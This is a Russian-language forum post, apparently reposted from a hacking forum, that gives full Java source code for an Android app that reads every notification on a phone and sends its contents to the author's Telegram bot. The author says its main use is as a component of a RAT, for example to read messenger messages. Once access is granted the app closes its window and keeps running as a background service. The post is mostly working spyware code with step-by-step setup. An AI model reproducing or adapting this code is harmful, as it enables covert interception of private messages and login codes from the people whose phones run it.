Получаем уведомления с телефона + FULL CODE

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: zebra0_0
Источник:
https://xss.is
Всем привет. В этой статье хочу рассказать про принцип создание приложения на Java для android устройств для удалённого получения уведомлений с телефона, и самое главное дам практические пример кода с готовым приложением.


Учебные материалы:
Внимание: Это часть статьи состоит исключительно из материалов для чайников, то есть новичков в java разработке(Это надо чтоб меня не просила толпа новичков в лс помочь с установкой).

И так, любой java проект начинается с его создания, писать я буду в android stuido так-как лучше пока ничего не придумали. В ней вам надо просто создать "Empty Activity" на java.
Почему именно на
Java? потому-что java это нативный язык для платформы android, то есть android написан в какой-то части на java(Ещё на Kotlin) и не нуждается в дополнительной установке.
Далее у вас откроется проект в кортом можно приступать к разработке.


Разбираю и объясняю создание проекта:
И так создание, Но перед тем как начать делать надо понять зачем оно вообще надо:
  • Как одни из элементов вашего RAT так с его помощью можно например: читать сообщения из мессенджеров
  • Как элемент софта для управления телефоном(Не малваря)
Больше ничего в голову не приходит но если у вас есть свои идею жду в комментариях
Разрешения:
Каждое приложения на android которое хочть что-то делает должно получать разрешения на свою работу.
Для работы данного приложения на надо получить всего 2 разрешения, а имено:

XML: Скопировать в буфер обмена
Код:
<!-- Разрешение на доступ к интернету -->
<uses-permission android:name="android.permission.INTERNET" />
XML: Скопировать в буфер обмена
Код:
<!-- Разрешение на доступ к уведомлениям -->
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>

Важно: Запрос разрешения на доступ к уведомлениям не является автоматическим и не запрашивается у пользователя одной кнопкой, для того чтоб его получить надо перенаправить пользователя в настройки где ему уже в свою очередь надо поставить галочку/переключатель на против приложения(Код для этого оставлю ниже).
Фото пример:
1730308443414.png


1730308455752.png




Принцем работы:
Данное приложения если говорить более правильно имеет цель автоматического прослушивания уведомлений, получаемых от других приложений на устройстве Android, и отправки их содержимого через Telegram-бота по вашему chat id.
Из чего состоит:

Приложение состоит из 2х java классов, в моём случаи это: MainActivity.java и MyNotificationListenerService.java
Нажмите, чтобы раскрыть...

Создание приложения:

Для работы данного приложения надо добавь библиотеку okhttp3 в зависимости файла build.gradel.kts.
okhttp3 - это популярная библиотека для работы с HTTP-запросами на платформе Java и Android. Она позволяет удобно отправлять запросы к серверу и обрабатывать ответы.
Build.gradel.kts - это файл конфигурации сборки, используемый в проектах, основанных на Gradle, с синтаксисом Kotlin. Gradle — это система автоматизации сборки, которая управляет зависимостями, компиляцией кода, тестированием и другими аспектами процесса сборки приложения. С помощью build.gradle.kts вы можете настроить, как ваше приложение будет строиться и какие зависимости будут использоваться.


добавлять его надо потому-что okhttp3 это не встроенная библиотека java.

Структура классов:

MainActivity.java:
  • Запрос уведомлений
  • Обработка функции для уведомлений
Код + объяснение:
1.Импотры:
Java: Скопировать в буфер обмена
Код:
import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.appcompat.app.AlertDialog;

В этом блоке мы импортируем необходимые классы и библиотеки, которые будут использоваться в приложении. Это включает классы для работы с активностями, диалогами, уведомлениями и логированием.


2.Определения класса MainActivity:
Java: Скопировать в буфер обмена
public class MainActivity extends Activity {

Тут мы объявляем класс MainActivity, который наследуется от класса Activity. Это основная точка входа в приложение и отвечает за его пользовательский интерфейс и логику.

3.Метод onCreate():

Java: Скопировать в буфер обмена
Код:
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

Метод onCreate() вызывается при создании активности. Здесь мы инициализируем активность и выполняем первоначальную настройку.
4.Проверка доступа к уведомлениям:
Java: Скопировать в буфер обмена
Код:
    if (!isNotificationServiceEnabled()) {
        promptNotificationAccess();
    } else {
        // Запуск сервиса для прослушивания уведомлений
        Intent intent = new Intent(this, MyNotificationListenerService.class);
        startService(intent);
        finish(); // Закрыть активность только после запуска службы
    }

Пояснение:
  • Мы проверяем, предоставлено ли приложению разрешение на доступ к уведомлениям, с помощью метода isNotificationServiceEnabled().
  • Если доступ не предоставлен, вызывается метод promptNotificationAccess(), который отображает диалоговое окно для пользователя.
  • Если доступ предоставлен, создается и запускается служба MyNotificationListenerService, и активность закрывается (так как графический интерфейс не нужен).
5.Метод для проверки доступа к уведомлениям:
Java: Скопировать в буфер обмена
Код:
private boolean isNotificationServiceEnabled() {
    String enabledListeners = Settings.Secure.getString(
            getContentResolver(),
            "enabled_notification_listeners"
    );
    String packageName = getPackageName();

    return enabledListeners != null && enabledListeners.contains(packageName);
}
Этот метод проверяет, включен ли наш сервис слушателя уведомлений. Он извлекает список включенных слушателей и проверяет, есть ли среди них имя пакета нашего приложения.
6. Метод для отображения диалога с запросом доступа:
Java: Скопировать в буфер обмена
Код:
private void promptNotificationAccess() {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setTitle("Требуется доступ к уведомлениям");
    builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");

    // Кнопка для перехода в настройки
    builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialogInterface, int i) {
            Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
            startActivity(intent);
        }
    });

    // Кнопка отмены
    builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialogInterface, int i) {
            dialogInterface.dismiss();
            finish(); // Закрыть активность, если пользователь отменил
        }
    });

    // Показываем диалог
    AlertDialog dialog = builder.create();
    dialog.show();
}
  • Этот метод создает и отображает диалоговое окно, в котором пользователь получает информацию о необходимости предоставления разрешения на доступ к уведомлениям.
  • В диалоге есть две кнопки:
    • "Настройки": при нажатии открываются настройки, где пользователь может предоставить доступ к уведомлениям.
    • "Отмена": при нажатии диалог закрывается, и активность завершает свою работу.

Заключение для MainActivity:​

Класс MainActivity структурирован для выполнения четких и логических задач. Он отвечает за проверку разрешений и запуск службы для прослушивания уведомлений. Это делает код более понятным и управляемым, а также позволяет легко добавлять новые функции в будущем.

MyNotificationListenerService.java:

Этот класс является вложенным классом в MainActivity и наследуется от NotificationListenerService. Он отвечает за получение уведомлений, извлечение их содержимого и отправку данных через Telegram-бота.
1.
Импорт необходимых библиотек:
Java: Скопировать в буфер обмена
Код:
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;

import java.io.IOException;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
  • Здесь мы импортируем необходимые классы.
  • NotificationListenerService и StatusBarNotification позволяют получать уведомления от других приложений.
  • Log используется для вывода отладочных сообщений в консоль.
  • Библиотеки okhttp3 предоставляют необходимые инструменты для выполнения HTTP-запросов.
2. Объявление класса и констант:
Java: Скопировать в буфер обмена
Код:
public class MyNotificationListenerService extends NotificationListenerService {
    private static final String TAG = "NotificationListener";
    private static final String BOT_TOKEN = "YOUR_BOT_TOKEN_HERE";  // Ваш токен Telegram бота
    private static final String CHAT_ID = "YOUR_CHAT_ID_HERE";  // Ваш Chat ID для отправки сообщений
    private static final String TELEGRAM_API_URL = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage";
  • Класс MyNotificationListenerService наследуется от NotificationListenerService, что позволяет ему прослушивать уведомления.
  • TAG используется для идентификации логов, чтобы их легче было отслеживать.
  • BOT_TOKEN и CHAT_ID — это константы, которые нужно заполнить реальными данными вашего Telegram-бота. TELEGRAM_API_URL формируется на основе этих данных для отправки сообщений.
3. Метод onCreate():
Java: Скопировать в буфер обмена
Код:
    @Override
    public void onCreate() {
        super.onCreate();
        Log.d(TAG, "Служба уведомлений запущена");
    }
  • Этот метод вызывается, когда служба создается.
  • Мы вызываем super.onCreate(), чтобы инициализировать родительский класс, и выводим сообщение в лог, подтверждая, что служба была запущена.
4. Метод onNotificationPosted(StatusBarNotification sbn):
Java: Скопировать в буфер обмена
Код:
    @Override
    public void onNotificationPosted(StatusBarNotification sbn) {
        // Получаем уведомление
        if (sbn.getNotification() != null) {
            String packageName = sbn.getPackageName();
            String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
            String text = sbn.getNotification().extras.getString(Notification.EXTRA_TEXT);

            // Формируем сообщение
            String message = "Новое уведомление!\n" +
                             "Приложение: " + packageName + "\n" +
                             "Заголовок: " + title + "\n" +
                             "Текст: " + text;

            Log.d(TAG, message);

            // Отправка уведомления в Telegram
            sendNotificationToTelegram(message);
        }
    }
  • Этот метод вызывается, когда новое уведомление добавляется на панель уведомлений.
  • Мы проверяем, есть ли у уведомления данные.
  • Извлекаем информацию о пакете приложения, заголовке и тексте уведомления.
  • Формируем строку сообщения, которую затем отправляем через метод sendNotificationToTelegram.
  • В конце выводим сообщение в лог для отладки.
5. Метод onNotificationRemoved(StatusBarNotification sbn):
Java: Скопировать в буфер обмена
Код:
    @Override
    public void onNotificationRemoved(StatusBarNotification sbn) {
        // Можно обрабатывать удаление уведомлений, если требуется
    }
  • Этот метод вызывается, когда уведомление удаляется.
  • В данном случае метод оставлен пустым, так как обработка удаления уведомлений не требуется, но его можно использовать, если это необходимо в будущем.

6. Метод sendNotificationToTelegram(String message):
Java: Скопировать в буфер обмена
Код:
    private void sendNotificationToTelegram(String message) {
        OkHttpClient client = new OkHttpClient();

        // Формирование данных для отправки в Telegram
        String json = "{\"chat_id\":\"" + CHAT_ID + "\", \"text\":\"" + message + "\"}";
        RequestBody body = RequestBody.create(json, MediaType.parse("application/json"));
        Request request = new Request.Builder()
                .url(TELEGRAM_API_URL)
                .post(body)
                .build();

        // Асинхронная отправка сообщения
        client.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                Log.e(TAG, "Ошибка при отправке сообщения в Telegram: " + e.getMessage());
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                if (response.isSuccessful()) {
                    Log.d(TAG, "Уведомление успешно отправлено в Telegram");
                } else {
                    Log.e(TAG, "Ошибка ответа от Telegram: " + response.body().string());
                }
            }
        });
    }
}
  • Этот метод отвечает за отправку сообщения в Telegram.
  • Создаем объект OkHttpClient, который будет использоваться для выполнения HTTP-запросов.
  • Формируем JSON-строку с данными для отправки (Chat ID и текст сообщения).
  • Создаем RequestBody с необходимым заголовком Content-Type для JSON.
  • Формируем HTTP-запрос с помощью Request.Builder, указывая URL и метод POST.
  • Используем метод enqueue для асинхронной отправки запроса.
  • Внутри колбэка onFailure обрабатываем возможные ошибки, а в onResponse проверяем успешность ответа от Telegram, логируя результат.

Заключение для MyNotificationListenerService :​

Каждая часть класса MyNotificationListenerService выполняет свою определенную функцию, и вместе они обеспечивают возможность прослушивания уведомлений и их отправки через Telegram. Такой подход облегчает дальнейшую разработку и поддержку приложения, позволяя легко добавлять новую функциональность или изменять существующую.
Как выгляди конечный результат:


1730308687105.png



Спасибо за внимание, надеюсь был полезен!
 
Сверху Снизу